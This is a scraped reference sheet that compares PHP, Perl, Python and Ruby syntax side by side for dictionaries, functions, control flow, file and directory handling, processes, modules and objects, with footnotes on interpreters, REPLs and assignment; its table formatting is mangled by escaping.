_adds key/value pair:_  
d\["lorem"\] = "ipsum"  
is key present  
| array\_key\_exists\("y", $d\);| exists $d\{"y"\}| 'y' in d|
d.has\_key?\("y"\)  
delete entry| $d = array\(1 => "t", 0 => "f"\);  
unset\($d\[1\]\);| %d = \( 1 => "t", 0 => "f" \);  
delete $d\{1\};| d = \{1: True, 0: False\}  
del d\[1\]| d = \{1 => true, 0 => false\}  
d.delete\(1\)  
from array of pairs, from even length array| | @a = \(1,"a",2,"b",3,"c"\);  
%d = @a;| a = \[\[1,'a'\], \[2,'b'\], \[3,'c'\]\]  
d = dict\(a\)  
  
a = \[1,'a',2,'b',3,'c'\]  
d = dict\(zip\(a\[::2\], a\[1::2\]\)\)| a = \[\[1,"a"\], \[2,"b"\],
\[3,"c"\]\]  
d = Hash\[a\]  
  
a = \[1,"a",2,"b",3,"c"\]  
d = Hash\[\*a\]  
merge| $d1 = array\("a"=>1, "b"=>2\);  
$d2 = array\("b"=>3, "c"=>4\);  
$d1 = array\_merge\($d1, $d2\);| %d1 = \(a=>1, b=>2\);  
%d2 = \(b=>3, c=>4\);  
%d1 = \(%d1, %d2\);| d1 = \{'a':1, 'b':2\}  
d2 = \{'b':3, 'c':4\}  
d1.update\(d2\)| d1 = \{"a"=>1, "b"=>2\}  
d2 = \{"b"=>3, "c"=>4\}  
d1.merge\!\(d2\)  
invert| $to\_num = array\("t"=>1, "f"=>0\);  
$to\_let = array\_flip\($to\_num\);| %to\_num = \(t=>1, f=>0\);  
%to\_let = reverse %to\_num;| to\_num = \{'t':1, 'f':0\}  
a = \[\[v,k\] for k,v in to\_num.items\(\)\]  
to\_let = dict\(a\)| to\_num = \{"t"=>1, "f"=>0\}  
to\_let = to\_num.invert  
iteration  
| foreach \($d as $k => $v \) \{| while \( \($k, $v\) = each %d \) \{| for k,
v in d.iteritems\(\):  
 _code_|  d.each \{ |k,v| _code_ \}  
keys and values as arrays| array\_keys\($d\)  
array\_values\($d\)| keys %d  
values %d| d.keys\(\)  
d.values\(\)| d.keys  
d.values  
set default value| class CountArray extends ArrayObject \{  
public function offsetExists\($i\) \{  
return true;  
\}  
public function offsetGet\($i\) \{  
if\(\!parent::offsetExists\($i\)\) \{  
parent::offsetSet\($i, 0\);  
\}  
return parent::offsetGet\($i\);  
\}  
\}  
$counts = new CountArray\(\);| _define a tied hash_|  class CountDict\(dict\):  
def \_\_missing\_\_\(self, k\):  
return 0  
  
counts = CountDict\(\)| counts = Hash.new do |h,k|  
h\[k\] = 0  
end  
functions  
| php| perl| python| ruby  
function declaration  
| function add\($a, $b\) \{  
return $a \+ $b;  
\}| sub add \{ $\_\[0\] + $\_\[1\] \}| def add\(a,b\):  
return a+b| def add\(a,b\)  
a+b  
end  
function invocation|  _function names are case insensitive:_  
ADD\(1, 2\);| add\(1, 2\);| add\(1, 2\)| add\(1, 2\)  
missing argument behavior  
|  _set to_ NULL _with warning_|  _set to_ undef|  _raises_ TypeError|
_raises_ ArgumentError  
default value  
| function my\_log\($x, $base=10\) \{| sub my\_log \{  
my $x = shift;  
my $base = shift // 10;| def log\(x, base=10\):| def log\(x, base=10\)  
arbitrary number of arguments| function add\(\) \{  
return array\_sum\(func\_get\_args\(\)\);  
\}| @\_ _contains all values_|  def add\(first,\*rest\):  
if not rest:  
return first  
else:  
return first+add\(\*rest\)| def add\(first, \*rest\)  
if rest.empty?  
first  
else  
first + add\(\*rest\)  
end  
end  
named parameter definition  
|  _none_|  _none_|  def foo\(\*\*d\):| def foo\(h\)  
named parameter invocation  
|  _none_|  _none_|  foo\(eps=0.01\)| foo\(:eps => 0.01\)  
pass number or string by reference  
| function foo\(&$x, &$y\) \{  
$x += 1;  
$y .= "ly";  
\}  
  
$n = 7;  
$s = "hard";  
foo\($n, $s\);| sub foo \{  
$\_\[0\] += 1;  
$\_\[1\] .= "ly";  
\}  
  
my $n = 7;  
my $s = "hard";  
foo\($n, $s\);| _not possible_|  _not possible_  
pass array or dictionary by reference  
| function foo\(&$x, &$y\) \{  
$x\[2\] = 5;  
$y\["f"\] = -1;  
\}  
  
$a = array\(1,2,3\);  
$d = array\("t"=>1,"f"=>0\);  
foo\($a, $d\);| sub foo \{  
$\_\[0\]\[2\] = 5;  
$\_\[1\]\{"f"\} = -1;  
\}  
  
my @a = \(1,2,3\);  
my %d = \("t"=> 1, "f" => 0\);  
foo\(\@a, \%d\);| def foo\(x, y\):  
x\[2\] = 5  
y\['f'\] = -1  
  
a = \[1,2,3\]  
d = \{'t':1, 'f':0\}  
foo\(a, d\)| def foo\(x, y\)  
x\[2\] = 5  
y\["f"\] = -1  
end  
  
a = \[1,2,3\]  
d = \{"t"=> 1, "f" => 0 \}  
foo\(a, d\)  
return value  
| return _arg or_ NULL| return _arg or last expression evaluated_|  return
_arg or_ None| return _arg or last expression evaluated_  
multiple return values  
| function first\_and\_second\(&$a\) \{  
return array\($a\[0\], $a\[1\]\);  
\}  
$a = array\(1,2,3\);  
list\($x, $y\) =  
first\_and\_second\($a\);| sub first\_and\_second \{  
return \($\_\[0\], $\_\[1\]\);  
\}  
@a = \(1,2,3\);  
\($x, $y\) = first\_and\_second\(@a\);| def first\_and\_second\(a\):  
return a\[0\], a\[1\]  
  
x, y = first\_and\_second\(\[1,2,3\]\)| def first\_and\_second\(a\)  
return a\[0\], a\[1\]  
end  
x, y = first\_and\_second\(\[1,2,3\]\)  
lambda declaration  
| $sqr = function \($x\) \{  
return $x \* $x;  
\};| $sqr = sub \{ $\_\[0\] \* $\_\[0\] \}| sqr = lambda x: x \* x| sqr =
lambda \{ |x| x \* x \}  
lambda invocation  
| $sqr\(2\)| $sqr->\(2\)| sqr\(2\)| sqr.call\(2\) _or_  
sqr\[2\]  
function with private state| function counter\(\) \{  
static $i = 0;  
return ++$i;  
\}  
  
echo counter\(\);| use feature state;  
  
sub counter \{  
state $i = 0;  
++$i;  
\}  
  
print counter\(\) . "\n";| \# state not private:  
def counter\(\):  
counter.i += 1  
return counter.i  
  
counter.i = 0  
print\(counter\(\)\)| _none_  
closure| function make\_counter\(\) \{  
$i = 0;  
return function \(\) use \(&$i\) \{  
return ++$i;  
\};  
\}  
$nays = make\_counter\(\);  
echo $nays\(\);| sub make\_counter\(\) \{  
my $i = 0;  
return sub\(\) \{ ++$i \};  
\}  
my $nays = make\_counter\(\);  
print $nays->\(\) . "\n";| \# Python 3:  
def make\_counter\(\):  
i = 0  
def counter\(\):  
nonlocal i  
i += 1  
return i  
return counter  
  
nays = make\_counter\(\)| def make\_counter\(\)  
i = 0  
return lambda \{ i +=1; i \}  
end  
nays = make\_counter  
puts nays.call  
generator|  _none_|  _none_|  def make\_counter\(\):  
i = 0  
while True:  
i += 1  
yield i  
  
nays = make\_counter\(\)  
print\(nays.next\(\)\)| \# Ruby 1.9:  
def make\_counter\(\)  
return Fiber.new do  
i = 0  
while true  
i += 1  
Fiber.yield i  
end  
end  
end  
nays = make\_counter  
puts nays.resume  
execution control  
| php| perl| python| ruby  
if  
| if \( 0 == $n \) \{  
echo "no hits\n";  
\} elseif \( 1 == $n \) \{  
echo "one hit\n";  
\} else \{  
echo "$n hits\n";  
\}| if \( 0 == $n \) \{  
print "no hits\n"  
\} elsif \( 1 == $n \) \{  
print "one hit\n"  
\} else \{  
print "$n hits\n"  
\}| if 0 == n:  
print\('no hits'\)  
elif 1 == n:  
print\('one hit'\)  
else:  
print\(str\(n\) + ' hits'\)| if n == 0  
puts "no hits"  
elsif 1 == n  
puts "one hit"  
else  
puts "\#\{n\} hits"  
end  
switch| switch \($n\) \{  
case 0:  
echo "no hits\n";  
break;  
case 1:  
echo "one hit\n";  
break;  
default:  
echo "$n hits\n";  
\}| use feature 'switch';  
  
given \($n\) \{  
when \(0\) \{ print "no hits\n"; \}  
when \(1\) \{ print "one hit\n"; \}  
default \{ print "$n hits\n"; \}  
\}| _none_|  case n  
when 0  
puts "no hits"  
when 1  
puts "one hit"  
else  
puts "\#\{n\} hits"  
end  
while  
| while \( $i < 100 \) \{ $i++; \}| while \( $i < 100 \) \{ $i++ \}| while i <
100:  
i += 1| while i < 100 do  
i += 1  
end  
c-style for  
| for \($i = 1; $i <= 10; $i++\) \{  
echo "$i\n";  
\}| for \( $i=0; $i <= 10; $i++ \) \{  
print "$i\n";  
\}| _none_|  _none_  
break, continue, redo  
| break continue _none_|  last next redo| break continue _none_|  break next
redo  
control structure keywords| case default do else elseif for foreach goto if
switch while| do else elsif for foreach goto if unless until while| elif else
for if while| case do else elsif end for loop when while unless until  
what do does|  _starts body of a_ do-while _loop_|  _executes following block
and returns value of last statement executed_|  _raises_ NameError _unless a
value was assigned to it_|  _starts an anonymous block. Also starts the body
of a_ loop, while, _or_ until _loop_  
statement modifiers  
|  _none_|  print "positive\n" if $i > 0;  
print "nonzero\n" unless $i == 0;| _none_|  puts "positive" if i > 0  
puts "nonzero" unless i == 0  
raise exception  
| throw new Exception\("bad arg"\);| die "bad arg";| raise Exception\('bad
arg'\)| \# raises RuntimeError  
raise "bad arg"  
catch exception  
| try \{  
risky\(\);  
\} catch \(Exception $e\) \{  
echo "risky failed: ",  
$e->getMessage\(\), "\n";  
\}| eval \{ risky \};  
if \($@\) \{  
print "risky failed: $@\n";  
\}| try:  
risky\(\)  
except:  
print\('risky failed'\)| \# catches StandardError  
begin  
risky  
rescue  
print "risky failed: "  
puts $\!.message  
end  
global variable for last exception|  _none_|  _$EVAL\_ERROR: $@_  
_$OS\_ERROR:_ $\!  
_$CHILD\_ERROR: $?_| _none_|  _last exception:_ $\!  
_backtrace array of exc.:_ $@  
_exit status of child:_ $?  
define exception| class Bam extends Exception \{  
function \_\_construct\(\) \{  
parent::\_\_construct\("bam\!"\);  
\}  
\}| _none_|  class Bam\(Exception\):  
def \_\_init\_\_\(self\):  
super\(Bam, self\).\_\_init\_\_\('bam\!'\)| class Bam < Exception  
def initialize  
super\("bam\!"\)  
end  
end  
catch exception by type| try \{  
throw new Bam;  
\} catch \(Bam $e\) \{  
echo $e->getMessage\(\), "\n";  
\}| _none_|  try:  
raise Bam\(\)  
except Bam as e:  
print\(e\)| begin  
raise Bam.new  
rescue Bam => e  
puts e.message  
end  
finally/ensure  
|  _none_|  _none_|  acquire\_resource\(\)  
try:  
risky\(\)  
finally:  
release\_resource\(\)| acquire\_resource  
begin  
risky  
ensure  
release\_resource  
end  
start thread  
|  _none_|  use threads;  
  
$func = sub \{ sleep 10 \};  
$thr = threads->new\($func\);| class sleep10\(threading.Thread\):  
def run\(self\):  
time.sleep\(10\)  
  
thr = sleep10\(\)  
thr.start\(\)| thr = Thread.new \{ sleep 10 \}  
wait on thread  
|  _none_|  $thr->join;| thr.join\(\)| thr.join  
files  
| php| perl| python| ruby  
print to standard output  
| echo "Hello, World\!\n";| print "Hello, World\!\n";| print\('Hello,
World\!'\)| puts "Hello, World\!"  
read from standard input| $line = fgets\(STDIN\);| $line = <>;| line =
sys.stdin.readline\(\)| line = gets  
standard file handles  
|  _only set by CLI; not set when reading script from standard input:_  
STDIN STDOUT STDERR| STDIN STDOUT STDERR| sys.stdin sys.stdout sys.stderr|
$stdin $stdout $stderr  
open file  
| $f = fopen\("/etc/hosts", "r"\);| open my $f, "/etc/hosts"; _or_  
open FILE, "/etc/hosts";| f = open\('/etc/hosts'\)| f =
File.open\("/etc/hosts"\) _or_  
File.open\("/etc/hosts"\) \{ |f|  
open file for writing  
| $f = fopen\("/tmp/php\_test", "w"\);| open my $f, ">/tmp/perl\_test"; _or_  
open FILE, ">/tmp/perl\_test";| f = open\('/tmp/test', 'w'\)| f =
File.open\('/tmp/test', 'w'\) _or_  
File.open\('/tmp/test', 'w'\) \{ |f|  
close file  
| fclose\($f\);| close $f; _or_  
close FILE;| f.close\(\)| f.close  
read line  
| $line = fgets\($f\);| $line = <$f>; _or_  
$line = <FILE>;| f.readline\(\)| f.gets  
iterate over file by line  
| while \(\!feof\($f\)\) \{  
$line = fgets\($f\);| while \($line = <$f>\) \{| for line in f:| f.each do
|line|  
chomp  
| chop\($line\);| chomp $line;| line = line.rstrip\('\r\n'\)| line.chomp\!  
read entire file into array or string| $a = file\("/etc/hosts"\);  
$s = file\_get\_contents\("/etc/hosts"\);| @a = <$>;  
$s = do \{ local $/; <$f> \};| a = f.readlines\(\)  
s = f.read\(\)| a = f.lines.to\_a  
s = f.read  
write to file  
| fwrite\($f, "lorem ipsum"\);| print $f "lorem ipsum";| f.write\('lorem
ipsum'\)| f.write\("lorem ipsum"\)  
flush file handle  
|  _note that CLI output isn't buffered_  
fflush\($f\);| use IO::Handle;  
  
$f->flush\(\);| f.flush\(\)| f.flush  
file test, regular file test  
| file\_exists\("/etc/hosts"\)  
is\_file\("/etc/hosts"\)| -e "/etc/hosts"  
-f "/etc/hosts"| os.path.exists\('/etc/hosts'\)  
os.path.isfile\('/etc/hosts'\)| File.exists?\("/etc/hosts"\)  
File.file?\("/etc/hosts"\)  
copy file, remove file, rename file| copy\("/tmp/foo", "/tmp/bar"\);  
unlink\("/tmp/foo"\);  
rename\("/tmp/bar", "/tmp/foo"\);| use File::Copy;  
  
copy\("/tmp/foo", "/tmp/bar"\);  
unlink "/tmp/foo";  
move\("/tmp/bar", "/tmp/foo"\);| import shutil  
  
shutil.copy\('/tmp/foo', '/tmp/bar'\)  
os.remove\('/tmp/foo'\)  
shutil.move\('/tmp/bar', '/tmp/foo'\)| require 'fileutils'  
  
FileUtils.cp\("/tmp/foo", "/tmp/bar"\)  
FileUtils.rm\("/tmp/foo"\)  
FileUtils.mv\("/tmp/bar", "/tmp/foo"\)  
set file permissions| chmod\("/tmp/foo", 0755\);| chmod 0755, "/tmp/foo";|
os.chmod\('/tmp/foo', 0755\)| File.chmod\(0755, "/tmp/foo"\)  
temporary file| $tmp = tempnam\(sys\_get\_temp\_dir\(\),  
"foo"\);  
$f = fopen\($tmp, "w"\);  
fwrite\($f, "lorem ipsum\n"\);  
fclose\($f\);  
  
echo "tmp file: $tmp\n";| use File::Temp;  
  
$f = File::Temp->new\(\);  
print $f "lorem ipsum\n";  
close $f;  
  
print "tmp file: ";  
print $f->filename . "\n";| import tempfile  
  
f = tempfile.NamedTemporaryFile\(  
prefix='foo'\)  
f.write\('lorem ipsum\n'\)  
f.close\(\)  
  
print\("tmp file: %s" % f.name\)| require 'tempfile'  
  
f = Tempfile.new\('foo'\)  
f.puts "lorem ipsum"  
f.close  
  
puts "tmp file: \#\{f.path\}"  
directories  
| php| perl| python| ruby  
build pathname| "/etc" . DIRECTORY\_SEPARATOR . "hosts"| use File::Spec;  
  
File::Spec->catfile\("/etc", "hosts"\)| os.path.join\('/etc', 'hosts'\)|
File.join\("/etc", "hosts"\)  
dirname and basename| dirname\("/etc/hosts"\)  
basename\("/etc/hosts"\)| use File::Basename;  
  
print dirname\("/etc/hosts"\);  
print basename\("/etc/hosts"\);| os.path.dirname\('/etc/hosts'\)  
os.path.basename\('/etc/hosts'\)| File.dirname\("/etc/hosts"\)  
File.basename\("/etc/hosts"\)  
iterate over directory by file| if \($dir = opendir\("/etc"\)\) \{  
while \($file = readdir\($dir\)\) \{  
echo "$file\n";  
\}  
closedir\($dir\);  
\}| use File::Basename;  
  
while \( </etc/\*> \) \{  
print basename\($\_\) . "\n";  
\}| for filename in os.listdir\('/etc'\):  
print\(filename\)| Dir.open\("/etc"\).each do |file|  
puts file  
end  
make directory| mkdir\("/tmp/foo/bar", 0755, TRUE\);| use File::Path
'make\_path';  
  
make\_path "/tmp/foo/bar";| dirname = '/tmp/foo/bar'  
if not os.path.isdir\(dirname\):  
os.makedirs\(dirname\)| require 'fileutils'  
  
FileUtils.mkdir\_p\("/tmp/foo/bar"\)  
recursive copy|  _none_|  \# cpan -i File::Copy::Recursive  
use File::Copy::Recursive 'dircopy';  
  
dircopy "/tmp/foodir",  
"/tmp/bardir";| import shutil  
  
shutil.copytree\('/tmp/foodir',  
'/tmp/bardir'\)| require 'fileutils'  
  
FileUtils.cp\_r\("/tmp/foodir",  
"/tmp/bardir"\)  
remove empty directory| rmdir\("/tmp/foodir"\);| rmdir "/tmp/foodir";|
os.rmdir\('/tmp/foodir'\)| File.rmdir\("/tmp/foodir"\)  
remove directory and contents|  _none_|  use File::Path 'remove\_tree';  
  
remove\_tree "/tmp/foodir";| import shutil  
  
shutil.rmtree\('/tmp/foodir'\)| require 'fileutils'  
  
FileUtils.rm\_rf\("/tmp/foodir"\)  
directory test  
| is\_dir\("/tmp"\)| -d "/tmp"| os.path.isdir\('/tmp'\)|
File.directory?\("/tmp"\)  
processes and environment  
| php| perl| python| ruby  
command line args, script name  
| count\($argv\)  
$argv\[0\] $argv\[1\] _etc_  
$\_SERVER\["SCRIPT\_NAME"\]| scalar\(@ARGV\)  
$ARGV\[0\] $ARGV\[1\] _etc_  
$0| len\(sys.argv\)-1  
sys.argv\[1\] sys.argv\[2\] _etc_  
sys.argv\[0\]| ARGV.size  
ARGV\[0\] ARGV\[1\] _etc_  
$0  
environment variable  
| getenv\("HOME"\)| $ENV\{"HOME"\}| os.getenv\('HOME'\)| ENV\["HOME"\]  
exit  
| exit 0;| exit 0;| sys.exit\(0\)| exit\(0\)  
set signal handller  
| | $SIG\{INT\} = sub \{  
die "exiting…\n";  
\};| import signal  
  
def handler\(signo, frame\):  
print\('exiting…'\)  
exit -1  
signal.signal\(signal.SIGINT, handler\)| Signal.trap\("INT",  
lambda do |signo|  
puts "exiting…"  
exit  
end  
\)  
executable test| is\_executable\("/bin/ls"\)| -x "/bin/ls"|
os.access\('/bin/ls', os.X\_OK\)| File.executable?\("/bin/ls"\)  
external command  
| exec\("ls"\);| system\("ls"\);| os.system\('ls'\)| system\("ls"\)  
backticks  
| $files = \`ls\`;| my $files = \`ls\`; _or_  
my $files = qx\(ls\);| os.popen\('ls'\).read\(\)| files = \`ls\` _or_  
files = %x\(ls\)  
libraries and modules  
| php| perl| python| ruby  
load library  
| require\_once\("foo.php"\);| require 'Foo.pm'; \# or  
require Foo; \# or  
use Foo;| import foo| require 'foo' \# or  
require 'foo.rb'  
reload library  
| require\("foo.php"\);| do 'Foo.pm';| reload\(foo\)| load 'foo.rb'  
library path  
| $o = ini\_get\("include\_path"\);  
$n = $o . ":/some/path";  
ini\_set\("include\_path", $n\);| push @INC, "/some/path";|
sys.path.append\('/some/path'\)| $: << "/some/path"  
library path environment variable|  _none_|  PERL5LIB| PYTHONPATH| RUBYLIB  
library path command line option|  _none_|  -I|  _none_|  -I  
main in library| | unless \(caller\) \{  
 _code_  
\}| if \_\_name\_\_ == '\_\_main\_\_':  
 _code_|  if $0 == \_\_FILE\_\_  
 _code_  
end  
module declaration  
| namespace Foo;| package Foo;  
require Exporter;  
our @ISA = \("Exporter"\);  
our @EXPORT\_OK = qw\(bar baz\);| _put declarations in_ foo.py| class Foo _or_
module Foo  
submodule declaration| namespace Foo\Bar;| package Foo::Bar;| _create
directory_ foo _in library path containing file_ bar.py| module Foo::Bar _or_  
module Foo  
module Bar  
module separator  
| \Foo\Bar\baz\(\);| Foo::Bar::baz\(\);| foo.bar.baz\(\)| Foo::Bar.baz  
import all definitions in module  
|  _none, but a long module name can be shortened_|  \# imports symbols in
@EXPORT:  
use Foo;| from foo import \*| include Foo  
import definitions  
|  _only class names can be imported_|  \# bar and baz must be in  
\# @EXPORT or @EXPORT\_OK:  
use Foo qw\(bar baz\);| from foo import bar, baz|  _none_  
managing multiple installations| | | $ virtualenv -p /usr/bin/python foo  
$ source foo/bin/activate|  
list installed packages, install a package  
| $ pear list  
$ pear install Math\_BigInteger| $ perldoc perllocal  
$ cpan -i Moose| $ pip freeze  
$ pip install jinja2| $ gem list  
$ gem install rails  
objects  
| php| perl| python| ruby  
define class  
| class Int \{  
public $value;  
function \_\_construct\($int=0\) \{  
$this->value = $int;  
\}  
\}| package Int;  
use Moose;  
has value => \(is => 'rw',  
default => 0,  
isa => 'Int'\);  
no Moose;  
1;| class Int:  
def \_\_init\_\_\(self, v=0\):  
self.value = v| class Int  
attr\_accessor :value  
def initialize\(i=0\)  
@value = i  
end  
end  
create object  
| $i = new Int\(\);  
$i2 = new Int\(7\);| my $i = new Int\(\); \# or  
my $i = Int->new\(\);  
my $i2 = new Int\(value => 7\);| i = Int\(\)  
i2 = Int\(7\)| i = Int.new  
i2 = Int.new\(7\)  
get and set attribute  
| $v = $i->value;  
$i->value = $v+1;| my $v = $i->value;  
$i->value\($v+1\);| v = i.value  
i.value = v+1| v = i.value  
i.value = v+1  
instance variable accessibility|  _must be declared_|  _private by default_|
_public; attributes starting with underscore private by convention_|  _private
by default; use_ attr\_reader, attr\_writer, attr\_accessor _to make public_  
define method  
| function plus\($i\) \{  
return $this->value \+ $i;  
\}| \# in package:  
sub plus \{  
my $self = shift;  
$self->value + $\_\[0\];  
\}| def plus\(self,v\):  
return self.value + v| def plus\(i\)  
value + i  
end  
invoke method  
| $i->plus\(7\)| $i->plus\(7\)| i.plus\(7\)| i.plus\(7\)  
destructor  
| function \_\_destruct\(\) \{  
echo "bye, $this->value\n";  
\}| \# in package:  
sub DEMOLISH \{  
my $self = shift;  
my $v = $self->value;  
print "bye, $v\n";  
\}| def \_\_del\_\_\(self\):  
print\('bye, %d' % self.value\)| val = i.value  
ObjectSpace.define\_finalizer\(int\) \{  
puts "bye, \#\{val\}"  
\}  
method missing  
| function \_\_call\($name, $args\) \{  
$argc = count\($args\);  
echo "no def: $name " .  
"arity: $argc\n";  
\}| \# in package:  
our $AUTOLOAD;  
sub AUTOLOAD \{  
my $self = shift;  
my $argc = scalar\(@\_\);  
print "no def: $AUTOLOAD"  
. " arity: $argc\n";  
\}| def \_\_getattr\_\_\(self, name\):  
s = 'no def: '+name+' arity: %d'  
return lambda \*a: print\(s % len\(a\)\)| def method\_missing\(name, \*a\)  
puts "no def: \#\{name\}" +  
" arity: \#\{a.size\}"  
end  
inheritance  
| class Counter extends Int \{  
private static $instances = 0;  
function \_\_construct\($int=0\) \{  
Counter::$instances += 1;  
parent::\_\_construct\($int\);  
\}  
function incr\(\) \{  
$this->value++;  
\}  
static function getInstances\(\) \{  
return $instances;  
\}  
\}| package Counter;  
use Moose;  
extends 'Int';  
my $instances = 0;  
sub BUILD \{  
$instances += 1;  
\}  
sub incr \{  
my $self = shift;  
my $v = $self->value;  
$self->value\($v + 1\);  
\}  
sub instances \{  
$instances;  
\}  
no Moose;| class Counter\(Int\):  
instances = 0  
def \_\_init\_\_\(self, v=0\):  
Counter.instances += 1  
Int.\_\_init\_\_\(self, v\)  
def incr\(self\):  
self.value += 1| class Counter < Int  
@@instances = 0  
def initialize  
@@instances += 1  
super  
end  
def incr  
self.value += 1  
end  
def self.instances  
@@instances  
end  
end  
invoke class method  
| Counter::getInstances\(\)| Counter->instances\(\);| Counter.instances|
Counter.instances  
|
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
reflection | web | tests
# General Footnotes

## versions used

The versions used for testing code in the reference sheet.

## implicit prologue

Code which examples in the sheet assume to have already been executed.

**perl:**

We adopt the convention that if an example uses a variable without declaring
it, it should be taken to have been previously declared with `my`.

**python:**

To keep the examples short we assume that `os`, `re`, and `sys` are always
imported.

## show version

How to get the version.

**php:**

The function _phpversion\(\)_ will return the version number as a string.

**perl:**

Also available in the predefined variable $\], or in a different format in $^V
and $PERL\_VERSION.

**python:**

The following function will return the version number as a string:

[code]

    import platform
    platform.python_version()
    
[/code]

**ruby:**

Also available in the global constant _VERSION_ \(Ruby 1.8\) or
_RUBY\_VERSION_ \(Ruby 1.9\).

## interpreter

The customary name of the interpreter and how to invoke it.

**php:**

_php -f_ will only execute portions of the source file within a <?php _php
code_ ?> tag as php code. Portions of the source file outside of such tags is
not treated as executable code and is echoed to standard out.

If short tags are enabled, then php code can also be placed inside <? _php
code_ ?> and <?= _php code_ ?> tags. <?= _php code_ ?> is identical to <?php
echo _php code_ ?>.

## repl

The customary name of the repl.

**php:**

`php -a` is not a REPL. It collects input until EOF is encountered and then it
executes it.

Text inside `<?` _code_ `?>` and `<?=` _code_ `?>` is executed as PHP code.

Text outside of PHP markup tags is echoed.

**perl:**

The Perl REPL `perl -de 0` does not save or display the result of an
expression. `perl -d` is the Perl debugger and `perl -e` runs code provided on
the command line.

`perl -de 0` does not by default have readline, but it can be added:

[code]

    $ cpan -i Term::Readline::Perl
    
      <cpan output omitted>
    
    $ perl -de 0
    
      DB<1> use Term::Readline::Perl;
    
      DB<2> print 1 + 1;
    2
    
[/code]

**python:**

The python repl saves the result of the last statement in \_.

**ruby:**

_irb_ saves the result of the last statement in \_.

## statement separator

How the parser determines the end of a statement.

**php:**

Inside braces statements must be terminated by a semicolon. The following
causes a parse error:

[code]

    <? if (true) { echo "true" } ?>
    
[/code]

The last statement inside `<?= ?>` or `<? ?>` tags does not need to be
semicolon terminated, however. The following code is legal:

[code]

    <?= $a = 1 ?>
    <? echo $a ?>
    
[/code]

**perl:**

In a script statements are separated by semicolons and never by newlines.
However, when using 'perl -de 0', a newline terminates the statement.

**python:**

Newline does not terminate a statement when:

  * inside parens
  * inside list \[\] or dictionary \{\} literals

Python single quote '' and double quote "" strings cannot contain newlines
except as the two character escaped form \n. Putting a newline in these
strings results in a syntax error. There is however a multi-line string
literal which starts and ends with three single quotes ''' or three double
quotes: """.

A newline that would normally terminate a statement can be escaped with a
backslash.

**ruby:**

Newline does not terminate a statement when:

  * inside single quotes '', double quotes "", backticks \`\`, or parens \(\)
  * after an operator such as + or , that expects another argument

Ruby permits newlines in array \[\] or hash literals, but only after a comma ,
or associator =>. Putting a newline before the comma or associator results in
a syntax error.

A newline that would normally terminate a statement can be escaped with a
backslash.

## block delimiters

How blocks are delimited.

**perl:**

Curly brackets \{\} delimit blocks. They are also used for:

  * hash literal syntax which returns a reference to the hash: $rh = \{ 'true' => 1, 'false' => 0 \}
  * hash value lookup: $h\{'true'\}, $rh->\{'true'\}
  * variable name delimiter: $s = "hello"; print "$\{s\}goodbye";

**python:**

Python blocks begin with a line that ends in a colon. The block ends with the
first line that is not indented further than the initial line. Python raises
an IndentationError if the statements in the block that are not in a nested
block are not all indented the same. Using tabs in Python source code is
unrecommended and many editors replace them automatically with spaces. If the
Python interpreter encouters a tab, it is treated as 8 spaces.

The python repl switches from a >>> prompt to a … prompt inside a block. A
blank line terminates the block.

**ruby:**

Curly brackets \{\} delimit blocks. A matched curly bracket pair can be
replaced by the `do` and `end` keywords. By convention curly brackets are used
for one line blocks.

The `end` keyword also terminates blocks started by `def`, `class`, or
`module`.

Curly brackets are also used for hash literals, and the \#\{ \} notation is
used to interpolate expressions into strings.

## assignment

How to assign a value to a variable.

**perl:**

Assignment operators have right precedence and evaluate to the right argument,
so assignments can be chained:

[code]

    $a = $b = 3;
    
[/code]

**python:**

If the variable on the left has not previously been defined in the current
scope, then it is created. This may hide a variable in a containing scope.

Assignment does not return a value and cannot be used in an expression. Thus,
assignment cannot be used in a conditional test, removing the possibility of
using assignment \(=\) in place of an equality test \(==\). Assignments can
nevertheless be chained to assign a value to multiple variables:

[code]

    a = b = 3
    
[/code]

**ruby:**

Assignment operators have right precedence and evaluate to the right argument,
so they can be chained. If the variable on the left does not exist, then it is
created.

## parallel assignment

How to assign values to variables in parallel.

**python:**

The r-value can be a list or tuple:

[code]

    nums = [1,2,3]
    a,b,c = nums
    more_nums = (6,7,8)
    d,e,f = more_nums
    
[/code]

Nested sequences of expression can be assigned to a nested sequences of
l-values, provided the nesting matches. This assignment will set a to 1, b to
2, and c to 3:

[code]

    (a,[b,c]) = [1,(2,3)]
    
[/code]

This assignment raises a TypeError:

**ruby:**

The r-value can be an array:

[code]

    nums = [1,2,3]
    a,b,c = nums
    
[/code]

## swap

How to swap the values held by two variables.

## compound assignment

Compound assignment operators mutate a variable, setting it to the value of an
operation which takes the value of the variable as an argument.

_First row:_ arithmetic operator assignment: addition, subtraction,
multiplication, \(float\) division, integer division, modulus, and
exponentiation.  
_Second row:_ string concatenation assignment and string replication
assignment  
_Third row:_ logical operator assignment: and, or, xor  
_Fourth row:_ bit operator assignment: left shift, right shift, and, or, xor.

**python:**

Python compound assignment operators do not return a value and hence cannot be
used in expressions.

## increment and decrement

**php:**

The increment and decrement operators also work on strings. There are postfix
versions of these operators which evaluate to the value before mutation:

[code]

    $x = 1;
    $x++;
    $x--;
    
[/code]

**perl:**

The increment and decrement operators also work on strings. There are postfix
versions of these operators which evaluate to the value before mutation:

[code]

    $x = 1;
    $x++;
    $x--;
    
[/code]

**ruby:**

The Integer class defines _succ_ , _pred_ , and _next_ , which is a synonym
for _succ_.

The String class defines _succ_ , _succ\!_ , _next_ , and _next\!_. _succ\!_
and _next\!_ mutate the string.

## local variable declarations

How to declare variables which are local to the scope defining region which
immediately contain them.

**php:**

Variables do not need to be declared and there is no syntax for declaring a
local variable. If a variable with no previous reference is accessed, its
value is _NULL_.

**perl:**

Variables don't need to be declared unless _use strict_ is in effect.

If not initialized, scalars are set to _undef_ , arrays are set to an empty
array, and hashes are set to an empty hash.

Perl can also declare variables with _local_. These replace the value of a
global variable with the same name, if any, for the duration of the enclosing
scope, after which the old value is restored. _local_ declarations became
obsolete with the introduction of the _my_ declaration introduced in Perl 5.

